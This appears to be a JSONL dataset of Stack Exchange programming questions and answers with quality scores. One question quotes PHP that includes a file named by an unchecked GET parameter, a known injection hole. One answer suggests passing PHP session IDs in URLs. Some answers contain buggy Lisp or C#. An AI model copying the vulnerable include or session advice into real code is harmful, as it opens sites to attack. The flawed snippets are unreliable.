{"id": "hf_55153f5889bf", "question": "<p>I've to admin a small website for my alumni group which is hosted by my ISV. The url is something like www.myIsv.com/myWebSite/ which is quite ugly and very forgetable. The main admin of the webserver has registered a domain name www.mysmallwebsite.com and put a index.html with this content:</p>\n\n<pre><code>&lt;html&gt;\n&lt;head&gt;\n&lt;title&gt;www.mysmallwebsite.com&lt;/title&gt;\n&lt;/head&gt;\n\n&lt;frameset&gt;\n   &lt;frame src=\"http://www.myIsv.com/myWebSite/\" name=\"redir\"&gt;\n      &lt;noframes&gt;\n        &lt;p&gt;Original location:\n          &lt;a href=\"www.myIsv.com/myWebSite/\"&gt;http://www.myIsv.com/myWebSite/&lt;/a&gt;\n        &lt;/p&gt;\n      &lt;/noframes&gt;\n &lt;/frameset&gt;  \n&lt;/html&gt;\n</code></pre>\n\n<p>It works fine, but some features like PHP Session variables doesn't work anymore! Anyone has a suggestion for correcting that?</p>\n\n<p>Edit:\nThis doesn't work both on IE and on Firefox (no plugins)</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "What do you mean?\nAre you saying that when you go from www.mysmallwebsite.com to www.myIsv.com/myWebSite/ then the PHP session is lost?\nPHP recognizes the session with an ID (alpha-numeric hash generated on the server). The ID is passed from request to request using a cookie called PHPSESSID or something like that (you can view the cookies a websites sets with the help of your browser ... on Firefox you have Firebug + FireCookie and the wonderful Web Developer Toolbar ... with which you can view the list of cookies without a sweat).\nSo ... PHP is passing the session ID through the PHPSESSID cookie. But you can pass the session ID as a plain GET request parameters.\nSo when you place the html link to the ugly domain name, assuming that it is the same PHP server (with the same sessions initialized), you can put it like this ...\n```\n```\nwww.myIsv.com/myWebSite/?PHPSESSID=<?=session_id()?>\n```\n```\nI haven't worked with PHP for a while, but I think this will work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.128665"}
{"id": "hf_094f48dd91f8", "question": "<p>I'm using Flash to play an .flv movieclip on my site, but I want to have the .swf send trigger an event in my javascript when it start loading, starts playing and ends playing.</p>\n\n<p>What is the best way to do that in Flash CS3 using Actionscript 3.0 ?</p>\n", "question_body": "", "answer": "A common way to do this is with the\nExternalInterface\nclass, which you can use to call JavaScript methods.\nFirst define your JavaScript methods, for example:\n```\n```\n<script language=\"JavaScript\">\n    function startsPlaying()\n    {\n        // do something when the FLV starts playing\n    }\n</script>\n```\n```\nThen modify your ActionScript to call the JavaScript method at the appropriate time:\n```\n```\n// inform JavaScript that the FLV has started playing\nExternalInterface.call(\"startsPlaying\");\n```\n```\nFor more information, see the related Flash CS3\ndocumentation\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.152419"}
{"id": "hf_3b65f6a87111", "question": "<p>I would like to convert the following string into an array/nested array: </p>\n\n<pre><code>str = \"[[this, is],[a, nested],[array]]\"\n\nnewarray = # this is what I need help with!\n\nnewarray.inspect  # =&gt; [['this','is'],['a','nested'],['array']]\n</code></pre>\n", "question_body": "", "answer": "Looks like a basic parsing task. Generally the approach you are going to want to take is to create a recursive function with the following general algorithm\n```\n```\nbase case (input doesn't begin with '[') return the input\nrecursive case:\n    split the input on ',' (you will need to find commas only at this level)\n    for each sub string call this method again with the sub string\n    return array containing the results from this recursive method\n```\n```\nThe only slighlty tricky part here is splitting the input on a single ','. You could write a separate function for this that would scan through the string and keep a count of the openbrackets - closedbrakets seen so far. Then only split on commas when the count is equal to zero.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.176167"}
{"id": "hf_0282a373f6e2", "question": "<p>I'm currently working on a quite large library (5M lines of code, in C++ under VS2005, 1 solution and close to 100 projects). Even though we distribute compilation, and use incremental linking, recompilation and relinking after small source modifications takes between a few minutes (usually at least 3) and close to one hour.</p>\n\n<p>This means that our modify code/build/debug cycles tend to be really long (to my taste!), and it's quite easy to lose the 'flow' during a build: there's typically not much time to do anything useful (maybe do a bit of email, otherwise read some article online or a few pages of a book).</p>\n\n<p>When writing new code or doing major refactoring, I try to compile one file at a time only. However, during debugging for example, it really gets on my nerves!</p>\n\n<p>I'm wondering how I could optimize my time? I guess I'm not the only one in that situation: what do/would <em>you</em> do?</p>\n", "question_body": "", "answer": "I don't know much about development at that level, but... it seems like it would be a good idea to separate into multiple solutions. You could have a final \"pre-ship\" step that consolidates them all into a single .dll if you/your customers really insist.\nCompare, e.g., to the .NET Framework where we have lots of different assemblies (System, System.Drawing, System.Windows.Forms, System.Xml...). Presumably all of these could be in different solutions, referencing each other's build results (as opposed to all in a single solution, referencing each other as projects).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.210714"}
{"id": "hf_f23f10c22885", "question": "<p>Given an Oracle table created using the following:</p>\n\n<pre><code>CREATE TABLE Log(WhenAdded TIMESTAMP(6) WITH TIME ZONE);\n</code></pre>\n\n<p>Using the Python ODBC module from its <a href=\"http://www.python.org/download/windows/\" rel=\"nofollow noreferrer\">Win32 extensions</a> (from the win32all package), I tried the following:</p>\n\n<pre><code>import dbi, odbc\n\nconnection = odbc.odbc(\"Driver=Oracle in OraHome92;Dbq=SERVER;Uid=USER;Pwd=PASSWD\")\n\ncursor = connection.cursor()\ncursor.execute(\"SELECT WhenAdded FROM Log\")\n\nresults = cursor.fetchall()\n</code></pre>\n\n<p>When I run this, I get the following:</p>\n\n<pre><code>Traceback (most recent call last):\n...\n    results = cursor.fetchall()\ndbi.operation-error: [Oracle][ODBC][Ora]ORA-00932: inconsistent datatypes: expected %s got %s \nin FETCH\n</code></pre>\n\n<p>The other data types I've tried (VARCHAR2, BLOB) do not cause this problem. Is there a way of retrieving timestamps?</p>\n", "question_body": "", "answer": "My solution to this, that I hope can be bettered, is to use Oracle to explicitly convert the TIMESTAMP into a string:\n```\n```\ncursor.execute(\"SELECT TO_CHAR(WhenAdded, 'YYYY-MM-DD HH:MI:SSAM') FROM Log\")\n```\n```\nThis works, but isn't portable. I'd like to use the same Python script against a SQL Server database, so an Oracle-specific solution (such as TO_CHAR) won't work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.244015"}
{"id": "hf_0a7e618f6bc7", "question": "<p>What is the best way to track changes in a database table?</p>\n\n<p>Imagine you got an application in which users (in the context of the application not DB users ) are able to change data which are store in some database table. What's the best way to track a history of all changes, so that you can show which user at what time change which data how?</p>\n", "question_body": "", "answer": "You've got a few issues here that don't relate well to each other.\nAt the basic database level you can track changes by having a separate table that gets an entry added to it via triggers on INSERT/UPDATE/DELETE statements. Thats the general way of tracking changes to a database table.\nThe other thing you want is to know which\nuser\nmade the change. Generally your triggers wouldn't know this. I'm assuming that if you want to know which user changed a piece of data then its possible that multiple users could change the same data.\nThere is no right way to do this, you'll probably want to have a separate table that your application code will insert a record into whenever a user updates some data in the other table, including user, timestamp and id of the changed record.\nMake sure to use a transaction so you don't end up with cases where update gets done without the insert, or if you do the opposite order you don't end up with insert without the update.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.266845"}
{"id": "hf_e0a0e5e3baf2", "question": "<p>Do any asynchronous connectors exist for Mysql that can be used within a C or C++ application? I'm looking for something that can be plugged into a <a href=\"http://en.wikipedia.org/wiki/Reactor_pattern\" rel=\"noreferrer\" title=\"reactor pattern\">reactor pattern</a> written in <a href=\"http://www.boost.org/doc/libs/release/libs/asio/index.html\" rel=\"noreferrer\" title=\"Boost.Asio\">Boost.Asio</a>.</p>\n\n<p>[Edit:] Running a synchronous connector in threads is not an option.</p>\n", "question_body": "", "answer": "I think the only solution will be to create an asynchronous service that wraps a\nstandard connector\n. You'll need to understand the ODBC APIs though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.289726"}
{"id": "hf_75268920b7f5", "question": "<p>Also, how do <code>LEFT OUTER JOIN</code>, <code>RIGHT OUTER JOIN</code>, and <code>FULL OUTER JOIN</code> fit in?</p>\n", "question_body": "", "answer": "A inner join only shows rows if there is a matching record on the other (right) side of the join.\nA (left) outer join shows rows for each record on the left hand side, even if there are no matching rows on the other (right) side of the join. If there is no matching row, the columns for the other (right) side would show NULLs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.372476"}
{"id": "hf_2d8d27bed6a1", "question": "<p>The <code>printf</code> function takes an argument type, such as <code>%d</code> or <code>%i</code> for a <code>signed int</code>. However, I don't see anything for a <code>long</code> value.</p>\n", "question_body": "", "answer": "```\n%ld\n```\nsee\n```\nprintf\n```\nreference on cplusplus.com", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.395967"}
{"id": "hf_44bc3804b223", "question": "<p>I find myself doing this sort of thing all the time.  I've been considering writing a macro/function to make this sort of thing easier, but it occurs to me that I'm probably reinventing the wheel.</p>\n\n<p>Is there an existing function that will let me accomplish this same sort of thing more succinctly?</p>\n\n<pre><code>(defun remove-low-words (word-list)   \n  \"Return a list with words of insufficient score removed.\"\n  (let ((result nil))\n    (dolist (word word-list)  \n      (when (good-enough-score-p word) (push word result)))                                      \n    result))  \n</code></pre>\n", "question_body": "", "answer": "There are a couple ways you can do this.  First, and probably most easily, you can do it recursively.\n```\n```\n(defun remove-low-words (word-list)\n  (if (good-enough-score-p (car word-list))\n      (list word (remove-low-words (cdr word-list)))\n      (remove-low-words (cdr word-list))))\n```\n```\nYou could also do it with\n```\nmapcar\n```\nand\n```\nreduce\n```\n, where the former can construct you a list with failing elements replaced by\n```\nnil\n```\nand the latter can be used to filter out the\n```\nnil\n```\n.\nEither would be a good candidate for a \"filter\" macro or function that takes a list and returns the list filtered by some predicate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.419292"}
{"id": "hf_fdfe8a09a262", "question": "<p>Did Installing OneCare cause a \"Generating user instances in SQL Server is disabled\" error?</p>\n\n<p>The only change that I've made to my computer is uninstalling AVG and installing the trial for Microsoft OneCare. Did OneCare change the SQLServer installation somehow?</p>\n\n<p>This is a very \"odd\" question but is something I would post on EE in hopes of someone having had the same issue and giving their solution.</p>\n", "question_body": "", "answer": "I would look more at the uninstalling of AVG as the culprit.  OneCare does not care or even notice SQL Server instances as far as I can tell where as AVG does.\nI would look into your SQL Server instance and check the jobs.  One or more may have been added by AVG.  You should remove them.  You might also want to drop the AVG database.  Just to be sure.\nNote: I have never\nuninstalled\nAVG.  I just have notice some of what it did to my Database when my SysAdmin installed it.  Being an Accidental DBA I haven't had the time to properly evaluate it's actions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.442648"}
{"id": "hf_4011f4917050", "question": "<p>I'd like to be able to write a ruby program that can restart without dropping it's socket connections.</p>\n", "question_body": "", "answer": "You're talking about network sockets, not UNIX sockets I assume?\nI'm not sure this suits your needs, but the way I would do it is by seperating the networking and logic part, and only restart the logic part, then reconnect the logic part to the networking part.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.465589"}
{"id": "hf_d99b56757fb9", "question": "<p>I am attempting to set an asp.net textbox to a SQL 2005 money data type field, the initial result displayed to the user is 40.0000 instead of 40.00.\nIn my asp.net textbox control I would like to only display the first 2 numbers after the decimal point e.g. 40.00</p>\n\n<p>What would be the best way to do this?\nMy code is below:</p>\n\n<pre><code>this.txtPayment.Text = dr[\"Payment\"].ToString();\n</code></pre>\n", "question_body": "", "answer": "```\n```\nthis.txtPayment.Text = string.Format(\"{0:c}\", dr[Payment\"].ToString());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.523840"}
{"id": "hf_6b9b3870e9ba", "question": "<p>What tools are there available for static analysis against C# code? I know about FxCop and StyleCop. Are there others? I've run across NStatic before but it's been in development for what seems like forever - it's looking pretty slick from what little I've seen of it, so it would be nice if it would ever see the light of day. </p>\n\n<p>Along these same lines (this is primarily my interest for static analysis), tools for testing code for multithreading issues (deadlocks, race conditions, etc.) also seem a bit scarce. Typemock Racer just popped up so I'll be looking at that. Anything beyond this?</p>\n\n<p>Real-life opinions about tools you've used are appreciated.</p>\n", "question_body": "", "answer": "Gendarme\nis an open source rules based static analyzer (similar to FXCop, but finds a lot of different problems).\nClone Detective\nis a nice plug-in for Visual Studio that finds duplicate code.\nAlso speaking of Mono, I find the act of compiling with the Mono compiler (if your code is platform independent enough to do that, a goal you might want to strive for anyway) finds tons of unreferenced variables and other Warnings that Visual Studio completely misses (even with the warning level set to 4).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.587617"}
{"id": "hf_c91861b876c2", "question": "<p>I want to combine two structures with differing fields names.</p>\n\n<p>For example, starting with:</p>\n\n<pre><code>A.field1 = 1;\nA.field2 = 'a';\n\nB.field3 = 2;\nB.field4 = 'b';\n</code></pre>\n\n<p>I would like to have:</p>\n\n<pre><code>C.field1 = 1;\nC.field2 = 'a';\nC.field3 = 2;\nC.field4 = 'b';\n</code></pre>\n\n<p>Is there a more efficient way than using \"fieldnames\" and a for loop?</p>\n\n<p><strong>EDIT:</strong> Let's assume that in the case of field name conflicts we give preference to <code>A</code>.</p>\n", "question_body": "", "answer": "In C, a struct can have another struct as one of it's members.  While this isn't exactly the same as what you're asking, you could end up either with a situation where one struct contains another, or one struct contains two structs, both of which hold parts of the info that you wanted.\npsuedocode: i don't remember the actual syntax.\n```\n```\nA.field1 = 1;\nA.field2 = 'a';\nA.field3 = struct B;\n```\n```\nto access:\n    A.field3.field4;\nor something of the sort.\nOr you could have struct C hold both an A and a B:\n```\n```\nC.A = struct A;\nC.B = struct B;\n```\n```\nwith access then something like\n```\n```\nC.A.field1;\nC.A.field2;\nC.B.field3;\nC.B.field4;\n```\n```\nhope this helps!\nEDIT: both of these solutions avoid naming collisions.\nAlso, I didn't see your\n```\nmatlab\n```\ntag.  By convention, you should want to edit the question to include that piece of info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.611184"}
{"id": "hf_398bf06e1061", "question": "<p><strong>When using the Entity Framework, does ESQL perform better than Linq to Entities?</strong> </p>\n\n<p>I'd prefer to use Linq to Entities (mainly because of the strong-type checking), but some of my other team members are citing performance as a reason to use ESQL. I would like to get a full idea of the pro's/con's of using either method.</p>\n", "question_body": "", "answer": "The more code you can cover with compile time checking for me is something that I'd place a higher premium on than performance. Having said that at this stage I'd probably lean towards ESQL not just because of the performance, but it's also (at present) a lot more flexible in what it can do. There's nothing worse than using a technology stack that doesn't have a feature you really really need.\nThe entity framework doesn't support things like custom properties, custom queries (for when you need to really tune performance) and does not function the same as linq-to-sql (i.e. there are features that simply don't work in the entity framework).\nMy personal impression of the Entity Framework is that there is a lot of potential, but it's probably a bit to \"rigid\" in it's implementation to use in a production environment in its current state.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.634895"}
{"id": "hf_f5ad2f7f5867", "question": "<p>Which databases does Adobe Flash support, if any?</p>\n", "question_body": "", "answer": "None.\nInstead, you would need to create some middleware (say, a webservice) that you talked to that did the database CRUD for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.704334"}
{"id": "hf_987546b51df1", "question": "<p>Hey so what I want to do is snag the content for the first paragraph. The string <code>$blog_post</code> contains a lot of paragraphs in the following format:</p>\n\n<pre><code>&lt;p&gt;Paragraph 1&lt;/p&gt;&lt;p&gt;Paragraph 2&lt;/p&gt;&lt;p&gt;Paragraph 3&lt;/p&gt;\n</code></pre>\n\n<p>The problem I'm running into is that I am writing a regex to grab everything between the first <code>&lt;p&gt;</code> tag and the first closing <code>&lt;/p&gt;</code> tag. However, it is grabbing the first <code>&lt;p&gt;</code> tag and the <strong>last</strong> closing <code>&lt;/p&gt;</code> tag which results in me grabbing everything.</p>\n\n<p>Here is my current code:</p>\n\n<pre><code>if (preg_match(\"/[\\\\s]*&lt;p&gt;[\\\\s]*(?&lt;firstparagraph&gt;[\\\\s\\\\S]+)[\\\\s]*&lt;\\\\/p&gt;[\\\\s\\\\S]*/\",$blog_post,$blog_paragraph))\n   echo \"&lt;p&gt;\" . $blog_paragraph[\"firstparagraph\"] . \"&lt;/p&gt;\";\nelse\n  echo $blog_post;\n</code></pre>\n", "question_body": "", "answer": "It would probably be easier and faster to use\nstrpos()\nto find the position of the first\n```\n```\n<p>\n```\n```\nand first\n```\n```\n</p>\n```\n```\nthen use\nsubstr()\nto extract the paragraph.\n```\n```\n$paragraph_start = strpos($blog_post, '<p>');\n $paragraph_end = strpos($blog_post, '</p>', $paragraph_start);\n $paragraph = substr($blog_post, $paragraph_start + strlen('<p>'), $paragraph_end - $paragraph_start - strlen('<p>'));\n```\n```\nEdit:\nActually the regex in others' answers will be easier and faster... your big complex regex in the question confused me...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.738346"}
{"id": "hf_0ca132ab743a", "question": "<p>Over at <a href=\"https://stackoverflow.com/questions/38664/can-you-modify-text-files-when-committing-to-subversion\">Can you modify text files when committing to subversion?</a> <a href=\"https://stackoverflow.com/questions/38664/can-you-modify-text-files-when-committing-to-subversion#38666\">Grant</a> suggested that I block commits instead.</p>\n\n<p>However I don't know how to check a file ends with a newline. How can you detect that the file ends with a newline?</p>\n", "question_body": "", "answer": "You could use something like this as your pre-commit script:\n```\n#! /usr/bin/perl\n\nwhile (<>) {\n    $last = $_;\n}\n\nif (! ($last =~ m/\\n$/)) {\n    print STDERR \"File doesn't end with \\\\n!\\n\";\n    exit 1;\n}\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.813953"}
{"id": "hf_ab62ddfe5003", "question": "<p>I'm looking for a way of getting a <strong>concurrent collection</strong> in <strong>C#</strong> or at least a collection which supports a <strong>concurrent enumerator</strong>.  Right now I'm getting an <code>InvalidOperationException</code> when the collection over which I'm iterating changes.  </p>\n\n<p>I could just deep copy the collection and work with a private copy but I'm wondering  if there is perhaps a better way</p>\n\n<p>Code snippet:</p>\n\n<pre class=\"lang-cs prettyprint-override\"><code>foreach (String s in (List&lt;String&gt;) callingForm.Invoke(callingForm.delegateGetKillStrings))\n{\n    //do some jazz\n}\n</code></pre>\n\n<p>--edit--</p>\n\n<p>I took the answer but also found that I needed to ensure that the code which was writing to the collection needed to attempt to get a lock as well.</p>\n\n<pre class=\"lang-cs prettyprint-override\"><code>private void addKillString(String s)\n{\n    lock (killStrings)\n    {\n        killStrings.Add(s);\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "Other than doing a deep-copy your best bet might be to lock the collection:\n```\n```\nList<string> theList = (List<String> )callingForm.Invoke(callingForm.delegateGetKillStrings);\n    lock(theList.SyncRoot) {\n        foreach(string s in theList) {\n               // Do some Jazz\n        }\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.837494"}
{"id": "hf_0ce272bdc07c", "question": "<p>What are the ways that you use to model and retrieve hierarchical info in a database? </p>\n", "question_body": "", "answer": "What's the best way to represent a hierachy in a SQL database?  A generic, portable technique?\nLet's assume the hierachy is mostly read, but isn't completely static.  Let's say it's a family tree.\nHere's how not to do it:\n```\n```\ncreate table person (\nperson_id integer autoincrement primary key,\nname      varchar(255) not null,\ndob       date,\nmother    integer,\nfather    integer\n);\n```\n```\nAnd inserting data like this:\n```\n```\nperson_id   name      dob       mother father  \n1           Pops      1900/1/1   null   null  \n2           Grandma   1903/2/4   null   null  \n3           Dad       1925/4/2   2      1  \n4           Uncle Kev 1927/3/3   2      1\n5           Cuz Dave  1953/7/8   null   4\n6           Billy     1954/8/1   null   3\n```\n```\nInstead, split your nodes and your relationships into two tables.\n```\n```\ncreate table person (\nperson_id integer autoincrement primary key,\nname      varchar(255) not null,\ndob       date\n);\n\ncreate table ancestor (\nancestor_id   integer,\ndescendant_id integer,\ndistance      integer\n);\n```\n```\nData is created like this:\n```\n```\nperson_id   name      dob       \n1           Pops      1900/1/1  \n2           Grandma   1903/2/4   \n3           Dad       1925/4/2   \n4           Uncle Kev 1927/3/3\n5           Cuz Dave  1953/7/8   \n6           Billy     1954/8/1   \n\nancestor_id  descendant_id  distance\n1            1              0\n2            2              0\n3            3              0\n4            4              0\n5            5              0\n6            6              0\n1            3              1\n2            3              1\n1            4              1\n2            4              1\n1            5              2\n2            5              2\n4            5              1\n1            6              2\n2            6              2\n3            6              1\n```\n```\nyou can now run arbitary queries that don't involve joining the table back on itself, which would happen if you have the heirachy relationship in the same row as the node.\nWho has grandparents?\n```\n```\nselect * from person where person_id in \n    (select descendant_id from ancestor where distance=2);\n```\n```\nAll your descendants:\n```\n```\nselect * from person where person_id in \n    (select descendant_id from ancestor \n    where ancestor_id=1 and distance>0);\n```\n```\nWho are uncles?\n```\n```\nselect decendant_id uncle from ancestor \n    where distance=1 and ancestor_id in \n    (select ancestor_id from ancestor \n        where distance=2 and not exists\n        (select ancestor_id from ancestor \n        where distance=1 and ancestor_id=uncle)\n    )\n```\n```\nYou avoid all the problems of joining a table to itself via subqueries, a common limitation is 16 subsuqeries.\nTrouble is, maintaining the ancestor table is kind of hard - best done with a stored procedure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.936774"}
{"id": "hf_096432d4829a", "question": "<p>I'm thinking of starting a wiki, probably on a low cost LAMP hosting account. I'd like the option of exporting my content later in case I want to run it on <code>IIS/ASP.NET</code> down the line. I know in the weblog world, there's an open standard called BlogML which will let you export your blog content to an <strong>XML</strong> based format on one site and import it into another. Is there something similar with wikis?</p>\n", "question_body": "", "answer": "I haven't heard of WikiML.\nI think your biggest obstacle is gonna be converting one wiki markup to another. For example, some wikis use markdown (which is what Stack Overflow uses), others use another markup syntax (e.g. BBCode, ...), etc.. The bottom line is - assuming the contents are databased it's not impossible to export and parse it to make it \"fit\" in another system. It might just be a pain in the ass.\nAnd if the contents are not databased, it's gonna be a royal pain in the ass. :D\nAnother solution would be to stay with the same system. I am not sure what the reason is for changing the technology later on. It's not like a growing project requires IIS/ASP.NET all of the sudden. (It might just be the other way around.) But for example, if you could stick with PHP for a while, you could also run that on IIS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.984672"}
{"id": "hf_fdfba67d4862", "question": "<p>I need to do a simple mail merge in OpenOffice using C++, VBScript, VB.Net or C# via OLE or native API. Are there any good examples available?</p>\n", "question_body": "", "answer": "You should take a look at\nApache OpenOffice API\n. A project for creating an API for Open Office. A few languages they said to support are: C++, Java, Python, CLI, StarBasic, JavaScript and OLE.\nJava Example of a mailmerge in OpenOffice\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.019779"}
{"id": "hf_b3920ca34226", "question": "<p>My website was recently attacked by, what seemed to me as, an innocent code:</p>\n\n<pre><code>&lt;?php\n  if ( isset( $ _GET['page'] ) ) {\n    include( $ _GET['page'] . \".php\" );\n  } else {\n    include(\"home.php\");\n  }\n?&gt;\n</code></pre>\n\n<p>There where no SQL calls, so I wasn't afraid for SQL Injection. But, apparently, SQL isn't the only kind of injection.</p>\n\n<p>This website has an explanation and a few examples of avoiding code injection: <a href=\"http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html\" rel=\"noreferrer\">http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html</a></p>\n\n<p>How would you protect this code from code injection?</p>\n", "question_body": "", "answer": "I'm assuming you deal with files in the same directory:\n```\n```\n<?php\nif (isset($_GET['page']) && !empty($_GET['page'])) {\n  $page = urldecode($_GET['page']);\n  $page = basename($page);\n  $file = dirname(__FILE__) . \"/{$page}.php\";\n  if (!file_exists($file)) {\n    $file = dirname(__FILE__) . '/home.php';\n  }\n} else {\n  $file = dirname(__FILE__) . '/home.php';\n}\ninclude $file;\n?>\n```\n```\nThis is not too pretty, but should fix your issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.092430"}
{"id": "hf_73e27f014976", "question": "<p>I'm using the RESTful authentication Rails plugin for an app I'm developing.\nI'm having a strange issue I can't get to the bottom of.\nEssentially, the first time I log into the app after a period of inactivity (the app is deployed in production, but only being used by me), I will be brought to a 404 page, but if I go back to the home page and log in again, everything works according to plan.\nAny ideas?</p>\n", "question_body": "", "answer": "Please check your routes.\nNot all routes are created equally. Routes have priority defined by the order of appearance of the routes in the config/routes.rb file. The priority goes from top to bottom. The last route in that file is at the lowest priority and will be applied last. If no route matches,\n404\nis returned.\nMore info:\nhttp://api.rubyonrails.org/classes/ActionController/Routing.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.127673"}
